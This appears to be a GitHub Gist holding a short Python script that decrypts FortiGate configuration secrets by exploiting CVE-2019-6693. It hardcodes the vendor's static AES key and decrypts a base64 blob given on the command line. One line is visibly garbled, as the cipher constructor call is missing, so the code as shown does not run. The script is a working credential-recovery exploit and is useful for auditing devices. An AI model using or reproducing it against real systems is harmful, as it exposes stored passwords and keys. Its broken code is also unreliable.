Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
Decrypt FortiGate configuration secrets CVE-2019-6693
#!/usr/bin/env python3
from Cryptodome.Cipher import AES
import base64
import sys
key = b'Mary had a littl'
data = base64.b64decode(sys.argv[1])
iv = data[0:4] + b'\x00' * 12
ct = data[4:]
cipher =, iv=iv, mode=AES.MODE_CBC)
pt = cipher.decrypt(ct)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment